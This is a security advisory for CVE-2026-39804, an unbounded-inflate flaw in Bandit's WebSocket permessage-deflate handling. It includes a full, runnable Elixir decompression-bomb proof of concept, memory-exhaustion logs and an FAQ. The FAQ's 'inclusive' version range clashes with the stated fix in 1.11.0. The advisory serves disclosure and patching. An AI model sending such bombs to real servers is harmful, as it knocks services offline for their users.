CVE-2026-39804: WebSocket permessage-deflate inflate has no output-size cap in bandit
Summary
When a Bandit-fronted server has explicitly enabled WebSocket permessage-deflate (compress: true), an unauthenticated client can OOM the BEAM with a single ~6 MiB WebSocket frame. Bandit's inflate step has no output-size cap, so a small high-ratio compressed frame (e.g. zeros, ~1024:1 ratio) decompresses unbounded into the connection process before any application code runs. Phoenix and LiveView are not vulnerable by default — they ship with compress: false. Affected apps are those that have deliberately opted in to permessage-deflate.
Details
In lib/bandit/websocket/permessagedeflate.ex:111-115, :zlib.inflate/2 is called without an output-size limit, and IO.iodatatobinary/1 then materializes the entire decompressed payload as one contiguous binary in the connection process's heap.
websocketoptions.maxframesize only bounds the on-the-wire (compressed) frame, not the decompressed output. With ~1024:1 compression on uniform data, an attacker can stay well under any wire-size cap while still forcing GiB-scale allocations. There is no {:more, ...} resumable path on inflate, so upstream callers cannot interpose a 413/close before the allocation completes.
The bug is gated by two server-side flags being true at the same time:
- Bandit's global websocketoptions.compress (defaults to true per bandit.ex:198-201). - The per-upgrade connectionopts.compress passed to WebSockAdapter.upgrade/4 (defaults to false per websockadapter.ex:42-43; Phoenix's default is also false per phoenix/lib/phoenix/transports/websocket.ex:33).
Both must be true for the handshake at bandit/lib/bandit/websocket/handshake.ex:22 to negotiate permessage-deflate. So the bug is only reachable on apps that explicitly opt in (e.g. socket "/ws", MySocket, websocket: [compress: true] in a Phoenix endpoint, or WebSockAdapter.upgrade(conn, ..., compress: true) in a plain Plug app).
Suggested fix: thread a maximum-output-size through to inflate and either error out or return resumable chunks once exceeded, mirroring how the HTTP content-length path bounds reads via :length.
PoC
A fully self-contained reproducer is attached below. It boots a local Bandit server that performs a WebSockAdapter.upgrade(conn, EchoSocket, %{}, compress: true), opens one WebSocket connection, and sends a single text frame whose ~6 MiB compressed payload inflates to 6 GiB of zeros. Run it with elixir wspermessagedeflatebomb.exs.
Observed on a 16 GiB Mac (Bandit 1.10.4, Elixir 1.18, otherwise default config):
- Frame on the wire: ~6 MiB. - BEAM RSS climbed from ~80 MiB to ~12 GiB peak during inflate (6 GiB inflated payload + a transient 6 GiB copy held by IO.iodatatobinary/1), then settled at ~6 GiB until the connection process was GC'd. - Tuning @targetdecompressedbytes upward, or opening N parallel connections, OOM-kills the BEAM outright.
A separate observation worth flagging: in the default setup, something upstream caps wire-side frames at ~8 MiB even though Bandit's documented maxframesize default is 0 (unlimited). The bug is reachable below that cap regardless, but the source of that effective cap is worth confirming.
Impact
Unauthenticated, pre-application-code denial-of-service via memory exhaustion. A single frame from a single client is sufficient to drive a small host to OOM; concurrent connections amplify linearly. The attacker needs only that the server accepts a WebSocket connection — no authentication, no valid route, no application cooperation.
Affected: any Bandit-fronted application that explicitly enables permessage-deflate on its WebSocket upgrade. Stock Phoenix and LiveView apps are not affected — both default to compress: false. Apps that opt in (typically for bandwidth savings on large payloads) inherit an unbounded-inflate DoS that the documentation does not warn about.
elixir Bandit WebSocket permessage-deflate bomb PoC. lib/bandit/websocket/permessagedeflate.ex:111-115 calls :zlib.inflate/2 with no output-size cap. A small (~4 MiB) compressed frame inflates to multiple GiB on the BEAM heap before any application code sees it. Note: in the default setup something upstream caps wire-side frames at ~8 MiB even though Bandit's documented maxframesize default is 0 (unlimited). The bug is reachable below that cap regardless. Run: elixir scripts/bandit/wspermessagedeflatebomb.exs
Mix.install([ {:bandit, "~> 1.10"}, {:plug, "~> 1.19"}, {:websockadapter, "~> 0.5"} ])
defmodule EchoSocket do @behaviour WebSock
def init(opts), do: {:ok, %{}} def handlein(message, state), do: {:ok, state} def handleinfo(message, state), do: {:ok, state} def terminate(reason, state), do: {:ok, state} end
defmodule DemoApp do @behaviour Plug def init(opts), do: opts def call(conn, opts) do conn |> WebSockAdapter.upgrade(EchoSocket, %{}, compress: true) |> Plug.Conn.halt() end end
defmodule Bomb do @port 4321 # 6 GiB inflated -> ~6 MiB compressed (well under the ~8 MiB wire cap). @targetdecompressedbytes 6 1024 1024 1024 @plaintextchunkbytes 10 1024 1024
def run do {:ok, } = Bandit.startlink(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)
sock = wshandshake!() deflatepayload = builddeflatebomb() frame = compressedtextframe(deflatepayload)
samplerpid = spawnlink(&samplememoryloop/0)
log("Sending #{bytesize(frame)}-byte compressed frame…") :ok = :gentcp.send(sock, frame) handlerecv(sock)
Process.unlink(samplerpid) Process.exit(samplerpid, :kill) :gentcp.close(sock) log("Done.") end
# Open a TCP connection and complete the WebSocket handshake with # permessage-deflate. Raises if the server doesn't negotiate it. defp wshandshake! do {:ok, sock} = :gentcp.connect(~c"127.0.0.1", @port, [:binary, active: false]) wskey = :crypto.strongrandbytes(16) |> Base.encode64()
:ok = :gentcp.send(sock, """ GET / HTTP/1.1\r Host: 127.0.0.1\r Upgrade: websocket\r Connection: Upgrade\r Sec-WebSocket-Key: #{wskey}\r Sec-WebSocket-Version: 13\r Sec-WebSocket-Extensions: permessage-deflate\r \r """)
{:ok, response} = :gentcp.recv(sock, 0, 5000) if not (response =~ "permessage-deflate"), do: raise("permessage-deflate not negotiated:\n#{response}") log("Handshake complete.") sock end
# Stream-deflate @targetdecompressedbytes worth of zeros so the client # never holds the full plaintext at once. RFC 7692 uses raw deflate # (windowbits=-15) and ends each message with 0x00 0x00 0xFF 0xFF, which # we strip per the spec. defp builddeflatebomb do chunk = :binary.copy(<<0>>, @plaintextchunkbytes) chunkcount = div(@targetdecompressedbytes, @plaintextchunkbytes) log("Deflating #{div(@targetdecompressedbytes, 1024 1024)} MiB plaintext…")
zstream = :zlib.open() :ok = :zlib.deflateInit(zstream, :default, :deflated, -15, 8, :default) deflatedchunks = Enum.map(1..chunkcount, fn -> :zlib.deflate(zstream, chunk, :none) end) finalflush = :zlib.deflate(zstream, <<>>, :sync) :zlib.close(zstream)
deflated = IO.iodatatobinary([deflatedchunks, finalflush]) trailersize = bytesize(deflated) - 4 <<payload::binary-size(trailersize), 0x00, 0x00, 0xFF, 0xFF>> = deflated
log("Compressed to #{bytesize(payload)} bytes (ratio ~#{div(@targetdecompressedbytes, bytesize(payload))}x).") payload end
# Wrap payload in a single masked WebSocket text frame with RSV1 set # (FIN=1, RSV1=1 indicates permessage-deflate compressed, opcode=0x1=text). defp compressedtextframe(payload) do mask = :crypto.strongrandbytes(4) payloadsize = bytesize(payload) maskstream = binarypart(:binary.copy(mask, div(payloadsize, 4) + 1), 0, payloadsize) maskedpayload = :crypto.exor(payload, maskstream)
lengthbytes = cond do payloadsize <= 125 -> <<1::1, payloadsize::7>> payloadsize <= 0xFFFF -> <<1::1, 126::7, payloadsize::16>> true -> <<1::1, 127::7, payloadsize::64>> end
<<1::1, 1::1, 0::2, 0x1::4, lengthbytes::binary, mask::binary, maskedpayload::binary>> end
# EchoSocket.handlein/2 doesn't reply, so recv times out after the # observation window. That's enough to watch the BEAM heap spike. defp handlerecv(sock) do case :gentcp.recv(sock, 0, 5000) do {:ok, <<0x88, len, closecode::16, closereason::binary>>} -> log("Close frame: code=#{closecode} reason=#{inspect(closereason)}")
{:ok, bytes} -> log("Reply (#{bytesize(bytes)} bytes): #{inspect(bytes, base: :hex, limit: 64)}")
{:error, :timeout} -> log("recv timed out (server held the inflated payload silently).")
{:error, reason} -> log("Connection closed: #{inspect(reason)}") end end
defp samplememoryloop do log("[mem] BEAM total = #{div(:erlang.memory(:total), 1048576)} MiB") Process.sleep(250) samplememoryloop() end
defp log(message), do: IO.puts("[#{Time.utcnow() |> Time.truncate(:millisecond)}] #{message}") end
Bomb.run()
Logs
10:15:24.243 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http) [08:15:24.269] Handshake complete. [08:15:24.321] Deflating 6144 MiB plaintext… [08:15:37.567] Compressed to 6257675 bytes (ratio ~1029x). [08:15:37.581] Sending 6257689-byte compressed frame… [08:15:37.582] [mem] BEAM total = 76 MiB [08:15:37.834] [mem] BEAM total = 759 MiB [08:15:38.087] [mem] BEAM total = 1480 MiB [08:15:38.338] [mem] BEAM total = 2214 MiB [08:15:38.589] [mem] BEAM total = 2724 MiB [08:15:38.840] [mem] BEAM total = 3410 MiB [08:15:39.091] [mem] BEAM total = 3877 MiB [08:15:39.342] [mem] BEAM total = 4268 MiB [08:15:39.593] [mem] BEAM total = 4815 MiB [08:15:39.845] [mem] BEAM total = 5270 MiB [08:15:40.096] [mem] BEAM total = 5766 MiB [08:15:40.347] [mem] BEAM total = 12451 MiB [08:15:40.598] [mem] BEAM total = 12452 MiB [08:15:40.850] [mem] BEAM total = 12452 MiB [08:15:41.101] [mem] BEAM total = 12452 MiB [08:15:41.353] [mem] BEAM total = 12452 MiB [08:15:41.606] [mem] BEAM total = 12451 MiB [08:15:41.856] [mem] BEAM total = 6229 MiB [08:15:42.107] [mem] BEAM total = 6229 MiB [08:15:42.358] [mem] BEAM total = 6229 MiB [08:15:42.582] recv timed out (server held the inflated payload silently). [08:15:42.584] Done.
Other sources
Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated remote denial of service via memory exhaustion when WebSocket permessage-deflate compression is enabled.
'Elixir.Bandit.WebSocket.PerMessageDeflate':inflate/2 in lib/bandit/websocket/permessagedeflate.ex calls :zlib.inflate/2 with no output-size cap, then materializes the entire decompressed payload as a single binary via IO.iodatatobinary/1. The websocketoptions.maxframesize option only bounds the on-the-wire (compressed) frame size, not the decompressed output. A high-ratio compressed frame (e.g. uniform data at ~1024:1 ratio) can stay well under any wire-size limit while forcing GiB-scale heap allocations in the connection process before any application code runs.
An unauthenticated attacker who can open a WebSocket connection can send a single such frame to exhaust the BEAM node's memory and trigger an OOM kill.
This vulnerability requires both Bandit's server-level websocketoptions.compress and the per-upgrade compress: true option passed to WebSockAdapter.upgrade/4 to be enabled. Stock Phoenix and LiveView applications are not affected as they default to compress: false.
This issue affects bandit: from 0.5.9 before 1.11.0.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2026-39804?
CVE-2026-39804 is classified as a high severity vulnerability due to its potential for causing denial of service through memory exhaustion.
How do I fix CVE-2026-39804?
To fix CVE-2026-39804, it is recommended to update Bandit to version 1.11.0 or later.
What type of vulnerability is CVE-2026-39804?
CVE-2026-39804 is an Allocation of Resources Without Limits or Throttling vulnerability.
Who is affected by CVE-2026-39804?
CVE-2026-39804 affects versions of the Bandit library from 0.5.9 to 1.11.0 inclusive.
Can CVE-2026-39804 be exploited remotely?
Yes, CVE-2026-39804 can be exploited remotely by unauthenticated users.